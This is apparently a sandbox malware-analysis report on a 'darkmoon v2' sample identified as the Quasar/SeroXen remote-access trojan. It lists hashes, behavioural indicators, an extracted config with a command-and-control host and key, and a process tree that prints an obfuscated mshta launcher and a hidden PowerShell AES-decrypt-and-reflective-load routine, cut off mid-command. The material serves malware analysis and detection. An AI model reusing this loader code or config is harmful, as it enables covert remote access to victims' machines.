Analysis
- max time kernel
600s - max time network
596s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system - submitted
02/06/2024, 15:18
Static task
static1
Behavioral task
behavioral1
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
darkmoon v2/lib/AyBYMBjlvU.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
darkmoon v2/lib/DarkMoon_Gen.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral4
Sample
darkmoon v2/start.bat
Resource
win7-20240220-en
Behavioral task
behavioral5
Sample
darkmoon v2/start.bat
Resource
win10v2004-20240426-en
General
- Target darkmoon v2/lib/AyBYMBjlvU.bat
- Size 12.6MB
- Sample240602-spp86agd23
- SHA256 9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
- MD5 8e3d8ed6db7cb979d5d56c8b847cc965
- SHA1 5d1ad752a988ce13da601448cdca5584610cffee
- SHA512 d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
- SSDEEP 49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
quasar
-
1.0.0.0
-
v2.2.6 | SeroXen
-
seroooooxeen.chickenkiller.com:5059
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f953c0af-702a-46b5-ad07-d900b11c5cd9
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encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
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install_name
.exe
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log_directory
$sxr-Logs
-
reconnect_delay
3000
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/2324-60-0x000001BBF47F0000-0x000001BBF4FBA000-memory.dmp family_quasar - Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 4528 created 1140 4528 WerFault.exe 117 - Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1300 created 616 1300 AyBYMBjlvU.bat.exe 5 PID 2324 created 616 2324 $sxr-powershell.exe 5 PID 2324 created 616 2324 $sxr-powershell.exe 5 PID 1300 created 616 1300 AyBYMBjlvU.bat.exe 5 PID 2324 created 616 2324 $sxr-powershell.exe 5 PID 2324 created 616 2324 $sxr-powershell.exe 5 PID 2324 created 616 2324 $sxr-powershell.exe 5 PID 2324 created 616 2324 $sxr-powershell.exe 5 PID 5820 created 1140 5820 svchost.exe 117 PID 2324 created 616 2324 $sxr-powershell.exe 5 - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation AyBYMBjlvU.bat.exe - Executes dropped EXE 5 IoCs
pid Process 1300 AyBYMBjlvU.bat.exe 1796 $sxr-mshta.exe 2944 $sxr-cmd.exe 2324 $sxr-powershell.exe 4104 $sxr-powershell.exe - Drops file in System32 directory 14 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe - Suspicious use of SetThreadContext 18 IoCs
description pid Process procid_target PID 1300 set thread context of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 set thread context of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 2324 set thread context of 2316 2324 $sxr-powershell.exe 100 PID 2324 set thread context of 4880 2324 $sxr-powershell.exe 101 PID 2324 set thread context of 1056 2324 $sxr-powershell.exe 103 PID 2324 set thread context of 1624 2324 $sxr-powershell.exe 104 PID 1300 set thread context of 3796 1300 AyBYMBjlvU.bat.exe 106 PID 1300 set thread context of 1596 1300 AyBYMBjlvU.bat.exe 107 PID 2324 set thread context of 3892 2324 $sxr-powershell.exe 108 PID 2324 set thread context of 2092 2324 $sxr-powershell.exe 109 PID 2324 set thread context of 4100 2324 $sxr-powershell.exe 110 PID 2324 set thread context of 2228 2324 $sxr-powershell.exe 113 PID 2324 set thread context of 4324 2324 $sxr-powershell.exe 114 PID 2324 set thread context of 5028 2324 $sxr-powershell.exe 115 PID 2324 set thread context of 5764 2324 $sxr-powershell.exe 116 PID 2324 set thread context of 1140 2324 $sxr-powershell.exe 117 PID 2324 set thread context of 6128 2324 $sxr-powershell.exe 121 PID 2324 set thread context of 3384 2324 $sxr-powershell.exe 122 - Drops file in Windows directory 6 IoCs
description ioc Process File created C:\Windows\$sxr-mshta.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe AyBYMBjlvU.bat.exe File created C:\Windows\$sxr-cmd.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe AyBYMBjlvU.bat.exe File created C:\Windows\$sxr-powershell.exe AyBYMBjlvU.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe AyBYMBjlvU.bat.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 1712 1140 WerFault.exe 117 - Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe - Kills process with taskkill 1 IoCs
pid Process 2508 taskkill.exe - Modifies data under HKEY_USERS 17 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717342148" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={87747806-79BC-4BD0-BFF7-671EF04662E1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 02 Jun 2024 15:29:09 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 3500 PING.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1300 AyBYMBjlvU.bat.exe 1300 AyBYMBjlvU.bat.exe 1300 AyBYMBjlvU.bat.exe 2936 dllhost.exe 2936 dllhost.exe 3144 dllhost.exe 3144 dllhost.exe 3144 dllhost.exe 3144 dllhost.exe 2936 dllhost.exe 2936 dllhost.exe 1300 AyBYMBjlvU.bat.exe 1300 AyBYMBjlvU.bat.exe 2324 $sxr-powershell.exe 2324 $sxr-powershell.exe 2324 $sxr-powershell.exe 2324 $sxr-powershell.exe 2316 dllhost.exe 2316 dllhost.exe 2316 dllhost.exe 2316 dllhost.exe 4880 dllhost.exe 4880 dllhost.exe 4880 dllhost.exe 4880 dllhost.exe 2324 $sxr-powershell.exe 2324 $sxr-powershell.exe 4104 $sxr-powershell.exe 2324 $sxr-powershell.exe 1056 dllhost.exe 1056 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 4104 $sxr-powershell.exe 4104 $sxr-powershell.exe 1624 dllhost.exe 1624 dllhost.exe 4104 $sxr-powershell.exe 4104 $sxr-powershell.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe 1056 dllhost.exe 1056 dllhost.exe 1624 dllhost.exe 1624 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1300 AyBYMBjlvU.bat.exe Token: SeDebugPrivilege 1300 AyBYMBjlvU.bat.exe Token: SeDebugPrivilege 2936 dllhost.exe Token: SeDebugPrivilege 3144 dllhost.exe Token: SeDebugPrivilege 2324 $sxr-powershell.exe Token: SeDebugPrivilege 2324 $sxr-powershell.exe Token: SeDebugPrivilege 2316 dllhost.exe Token: SeDebugPrivilege 4880 dllhost.exe Token: SeDebugPrivilege 4104 $sxr-powershell.exe Token: SeDebugPrivilege 2324 $sxr-powershell.exe Token: SeDebugPrivilege 1056 dllhost.exe Token: SeDebugPrivilege 1624 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2164 svchost.exe Token: SeIncreaseQuotaPrivilege 2164 svchost.exe Token: SeSecurityPrivilege 2164 svchost.exe Token: SeTakeOwnershipPrivilege 2164 svchost.exe Token: SeLoadDriverPrivilege 2164 svchost.exe Token: SeSystemtimePrivilege 2164 svchost.exe Token: SeBackupPrivilege 2164 svchost.exe Token: SeRestorePrivilege 2164 svchost.exe Token: SeShutdownPrivilege 2164 svchost.exe Token: SeSystemEnvironmentPrivilege 2164 svchost.exe Token: SeUndockPrivilege 2164 svchost.exe Token: SeManageVolumePrivilege 2164 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2164 svchost.exe Token: SeIncreaseQuotaPrivilege 2164 svchost.exe Token: SeSecurityPrivilege 2164 svchost.exe Token: SeTakeOwnershipPrivilege 2164 svchost.exe Token: SeLoadDriverPrivilege 2164 svchost.exe Token: SeSystemtimePrivilege 2164 svchost.exe Token: SeBackupPrivilege 2164 svchost.exe Token: SeRestorePrivilege 2164 svchost.exe Token: SeShutdownPrivilege 2164 svchost.exe Token: SeSystemEnvironmentPrivilege 2164 svchost.exe Token: SeUndockPrivilege 2164 svchost.exe Token: SeManageVolumePrivilege 2164 svchost.exe Token: SeAuditPrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2164 svchost.exe Token: SeIncreaseQuotaPrivilege 2164 svchost.exe Token: SeSecurityPrivilege 2164 svchost.exe Token: SeTakeOwnershipPrivilege 2164 svchost.exe Token: SeLoadDriverPrivilege 2164 svchost.exe Token: SeSystemtimePrivilege 2164 svchost.exe Token: SeBackupPrivilege 2164 svchost.exe Token: SeRestorePrivilege 2164 svchost.exe Token: SeShutdownPrivilege 2164 svchost.exe Token: SeSystemEnvironmentPrivilege 2164 svchost.exe Token: SeUndockPrivilege 2164 svchost.exe Token: SeManageVolumePrivilege 2164 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2164 svchost.exe Token: SeIncreaseQuotaPrivilege 2164 svchost.exe Token: SeSecurityPrivilege 2164 svchost.exe Token: SeTakeOwnershipPrivilege 2164 svchost.exe Token: SeLoadDriverPrivilege 2164 svchost.exe Token: SeSystemtimePrivilege 2164 svchost.exe Token: SeBackupPrivilege 2164 svchost.exe Token: SeRestorePrivilege 2164 svchost.exe Token: SeShutdownPrivilege 2164 svchost.exe Token: SeSystemEnvironmentPrivilege 2164 svchost.exe Token: SeUndockPrivilege 2164 svchost.exe Token: SeManageVolumePrivilege 2164 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2164 svchost.exe Token: SeIncreaseQuotaPrivilege 2164 svchost.exe Token: SeSecurityPrivilege 2164 svchost.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2324 $sxr-powershell.exe 4156 Conhost.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3436 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 244 wrote to memory of 1300 244 cmd.exe 90 PID 244 wrote to memory of 1300 244 cmd.exe 90 PID 1300 wrote to memory of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 wrote to memory of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 wrote to memory of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 wrote to memory of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 wrote to memory of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 wrote to memory of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 wrote to memory of 2936 1300 AyBYMBjlvU.bat.exe 94 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1300 wrote to memory of 3144 1300 AyBYMBjlvU.bat.exe 95 PID 1796 wrote to memory of 2944 1796 $sxr-mshta.exe 97 PID 1796 wrote to memory of 2944 1796 $sxr-mshta.exe 97 PID 2944 wrote to memory of 2324 2944 $sxr-cmd.exe 99 PID 2944 wrote to memory of 2324 2944 $sxr-cmd.exe 99 PID 2324 wrote to memory of 2316 2324 $sxr-powershell.exe 100 PID 2324 wrote to memory of 2316 2324 $sxr-powershell.exe 100 PID 2324 wrote to memory of 2316 2324 $sxr-powershell.exe 100 PID 2324 wrote to memory of 2316 2324 $sxr-powershell.exe 100 PID 2324 wrote to memory of 2316 2324 $sxr-powershell.exe 100 PID 2324 wrote to memory of 2316 2324 $sxr-powershell.exe 100 PID 2324 wrote to memory of 2316 2324 $sxr-powershell.exe 100 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4880 2324 $sxr-powershell.exe 101 PID 2324 wrote to memory of 4104 2324 $sxr-powershell.exe 102 PID 2324 wrote to memory of 4104 2324 $sxr-powershell.exe 102 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1056 2324 $sxr-powershell.exe 103 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 2324 wrote to memory of 1624 2324 $sxr-powershell.exe 104 PID 1056 wrote to memory of 616 1056 dllhost.exe 5 PID 1056 wrote to memory of 676 1056 dllhost.exe 7 PID 1056 wrote to memory of 976 1056 dllhost.exe 12 PID 1056 wrote to memory of 384 1056 dllhost.exe 13 PID 1056 wrote to memory of 728 1056 dllhost.exe 14 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 6120 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:384
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{678bc83f-82eb-48bd-9ffb-a8c4d8969b96}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2936
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4549b0cf-a1ad-4055-bfb4-e39bbf7268cb}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2316
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2dc841c6-6185-4106-a421-eaf0132f096e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1056
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a6926db2-b01c-4aec-bd04-944e768784d8}2⤵PID:3796
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7e6a2b68-3156-4ba7-88a5-c2cdddd4a955}2⤵PID:3892
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e4ad78c5-aa46-42d4-b6e6-294c2c67e682}2⤵PID:4100
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{598dd224-0406-4d92-994d-408082c2a3f2}2⤵PID:4324
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ca45c2ff-0dc2-4c97-8554-20cd63dfc541}2⤵PID:5764
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{070a70e0-4b6a-4b30-b8d3-912a86225091}2⤵PID:6128
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1060
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1076
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1088
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1232
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3044
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:5092
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = 